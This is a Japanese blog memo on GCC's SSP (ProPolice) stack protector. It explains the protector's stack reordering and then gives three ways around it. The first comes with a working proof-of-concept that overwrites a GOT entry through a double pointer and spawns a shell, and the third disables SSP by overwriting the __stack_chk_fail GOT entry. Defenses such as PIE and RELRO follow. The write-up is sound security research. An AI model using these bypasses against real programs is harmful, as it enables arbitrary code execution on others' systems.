memo: SSP(ProPolice)を突破できるパターン?

GCCは4.1以降からデフォルトでSSP(a.k.a. ProPolice)というスタック保護の仕組みが搭載されています*1。この仕組みを使うと、スタック上に確保した配列のオーバーフローを実行時に検出できます。

% gcc -fstack-protector-all ssp_test.c
% ./a.out
*** stack smashing detected ***: ./a.out terminated
zsh: abort      ./a.out

この手のコンパイラに対するパッチはStackGuardを代表にいろいろあるんですが、SSPがもっとも高性能といわれてます。VC++の/GSよりも高性能です*2。ありがちな攻撃方法、たとえば、"Four different tricks to bypass StackShield and StackShield protection"の4つの手口は全部通用しません。


以前のものに比べてどの辺が改良されているか。詳しくはSSPのプレゼンテーションを見ていただくとして(説明する気0...)、簡単にまとめると、

  • リターンアドレスの改竄を検知できるのは当然として
  • saved frame pointer も改竄検知できる

のがまずgoodです。まぁ、ここまでは他のもそうだったりするんですが、SSPはそれに加え、

  1. ローカル変数を改竄できない
  2. 引数を改竄できない

という特性も備えているのですね。こっちがより重要なポイントです。普通、StackGuardなんかだと、(たとえば2引数の)関数呼び出し直後のスタックの状況は

[high] arg_2 arg_1 ret_addr saved_fp canary local_1 local_2 [low]

とかなってまして*3、local_2がchar配列で、オーバーフロー可能だとすると、オーバーフロー後、この関数から戻る _前_ に、改竄された local_1 や arg_1 や arg_2 *4、がうまいこと利用され、gotcha!! となるわけです。でも、SSPが有効だと、スタックのレイアウトが、

[high] ret_addr saved_fp canary local_2 arg_2 arg_1 local_1 [low]

のようになるわけですよ(イメージ)。ideal stack layout とか呼ばれています。argがスタックの成長方向(低いアドレス)に移動させられ、バイト配列である local_2 がカナリアの真横に移動させられます。上のような arg, local に対する攻撃(改竄)ができなくなってしまいます。

突破できそうなパターン3種


このように、かなりよいスタック保護を提供してくれるSSPなんですが、突破できる場合もあります。この土日で調べた範囲では、とりあえず次の3パターン。

  1. 二段以上の間接参照をしているケース
  2. 構造体のメンバのバイト配列がオーバーフローするケース
  3. バッファオーバーフロー以外のバグで、メモリ上の任意の4バイトを書き換え可能なケース

ほかにもあれば教えてください。あんまり思いつかず、かつWeb上にもあまり有用な資料がなくって、かろうじて見つかったのが2のみ。1/3は私の妄想によります。


順に。

[1] 二段以上の間接参照をしているケース


こんな例です。

static void shell() { system("/bin/sh"); } // 使われていない

static void vuln_(int** p, char** a) {
  char x[12];
  printf("x:%p p:%p dif:%d\n", x, p, (void*)p - (void*)x);

  strcpy(x, a[0]);                   // <-- (1)
  **p = strtoul(a[1], NULL, 16);     // <-- (2)
  puts("ok\n");                      // <-- (3)
}

void vuln(char** a) {
  int* p = malloc(sizeof(int));      // (4)
  vuln_(&p, a);
}

vuln_関数の引数pを、(2)の部分で二段間接参照(**p)しています。このプログラムは、次のように攻撃できます。

#define PAD10 "1234567890"

int main() {
  char* a[] = {
    PAD10 PAD10 PAD10 PAD10 PAD10 PAD10 "\x74\x98\x04\x08",  /* GOT address (puts) */
    "0x080484e4" /* shell() address */
  };
  vuln(a);
  return 0;
}

(1) で、遠く(60バイトほど)離れた(4)のポインタの指し先をputs関数用のGOTにし、(2)でGOTの値をshell関数のアドレスにし、(3) でshell関数に飛ぶようにしました。

% gcc -fstack-protector-all test.c
% ./a.out
x:0xffffc024 p:0xffffc060 dif:60
sh-3.1$ 

実行するとシェルが起動します。んま、こんなのはかなりのレアケースとおもうので、次にいきましょう。
(TODO:サンプルコードをもう少しマシにできないか)

[2] 構造体のメンバのバイト配列がオーバーフローするケース


2004年のBlackHat USAの資料に載ってました。構造体のメンバはreorderできないから、構造体があるとideal stack layoutを実現できないよね、みたいな話です。なるほどねー。


(あとで書く)

[3] バッファオーバーフロー以外のバグで、メモリ上の任意の4バイトを書き換え可能なケース


format string bug や heap overflow を利用して、GOTを書き換えると楽しいという話を数日前に書きましたが、具体的にはGOTのどのエントリを書き換えるとよいでしょうか? もちろん、ケースバイケースではあるんですが、__stack_chk_fail関数用のGOTエントリなんて如何でしょうかね? 的な話です。


__stack_chk_fail関数というのは、SSPバッファオーバーフローを検出したときに呼ばれる関数で、中でちょろっとメッセージをwrite()して即abort()するだけの関数です。でもこの関数、libc.soの中に入ってまして、プログラムから呼ぶ場合はPLTを経由しちゃうんですよね。こんな感じ。

% cat ssp.c
#include <string.h>

void vuln(const char* s) {
  char x[10];
  strcpy(x, s);
}

int main() {
  vuln("1234567890");
  return 0;
}

% gcc -fstack-protector-all -o ssp_test ssp.c
% objdump -d ssp_test | less
080483f5 <vuln>:
 80483f5:       55                      push   %ebp
 80483f6:       89 e5                   mov    %esp,%ebp
..
 8048421:       65 33 05 14 00 00 00    xor    %gs:0x14,%eax
 8048428:       74 05                   je     804842f <vuln+0x3a>
 804842a:       e8 c5 fe ff ff          call   80482f4 <__stack_chk_fail@plt>
 804842f:       c9                      leave
 8048430:       c3                      ret

ですので、GOT overwriteを利用して __stack_chk_fail のアドレスをどうでもいい関数のアドレス(例えば、 とか)に書き換えることが可能であれば、SSPを無効にできます。泥棒する前に、とりあえず家主を眠らせとけ..みたいな(物騒ですが)。サンプルコードは、ほとんどこのGOT overwriteと一緒になってしまうから略。防御方法を書きます。

防御


以上3種類の攻撃から身を守る方法としては、SSPをPIEやRELROと併用するのが王道だろうと思います。でも、もしネタっぽい解決策がお好みなら、(3については)別の方法もあります。main関数の書いてあるソースコードに、次の内容を書き足してみてください。

// これを書き足す。x86/Linux用です。
void __stack_chk_fail() {
  // exitシステムコールを呼ぶだけ
  __asm__ ("mov $1, %eax; mov $1, %ebx; int $0x80");
}

すると、

% objdump -d ssp_sample | grep __stack__chk_fail
..
 80483cd:       e8 d2 ff ff ff          call   80483a4 <__stack_chk_fail>
..

こんな感じで、PLTを経由せずに自作の__stack_chk_failが呼ばれるようになります。自作の __stack_chk_fail の中ではインラインアセンブラで割込をかけてるだけですから、PLT経由で何かを呼び出したりということは(もちろん)ありません。

% objdump -d ssp_sample | grep -A 15 '<__stack_chk_fail>:'
080483a4 <__stack_chk_fail>:
 80483a4:       55                      push   %ebp
 80483a5:       89 e5                   mov    %esp,%ebp
 80483a7:       83 ec 18                sub    $0x18,%esp
 80483aa:       65 a1 14 00 00 00       mov    %gs:0x14,%eax
 80483b0:       89 45 fc                mov    %eax,0xfffffffc(%ebp)
 80483b3:       31 c0                   xor    %eax,%eax
 80483b5:       b8 01 00 00 00          mov    $0x1,%eax
 80483ba:       bb 01 00 00 00          mov    $0x1,%ebx
 80483bf:       cd 80                   int    $0x80
 80483c1:       8b 45 fc                mov    0xfffffffc(%ebp),%eax
 80483c4:       65 33 05 14 00 00 00    xor    %gs:0x14,%eax
 80483cb:       74 05                   je     80483d2 <__stack_chk_fail+0x2e>
 80483cd:       e8 d2 ff ff ff          call   80483a4 <__stack_chk_fail>
 80483d2:       c9                      leave
 80483d3:       c3                      ret

..再帰している気がするのは目の錯覚です。実害は...たぶんないでしょう。ちなみに、__stack_chk_fail()のインラインアセンブラ部分、ちょっと手抜きです。まともに書きたいひとはこれ(など)を参照のこと。

*1:それ以前のGCC向けにもpatchが存在します..というよりそのpatchが本家で、GCC4のはRedHatによる再実装

*2:Visual Studio 2005でSSPと同等になったという噂もあるが、私は未確認

*3:high/lowはアドレス

*4:特にこれらがpointerの場合においしい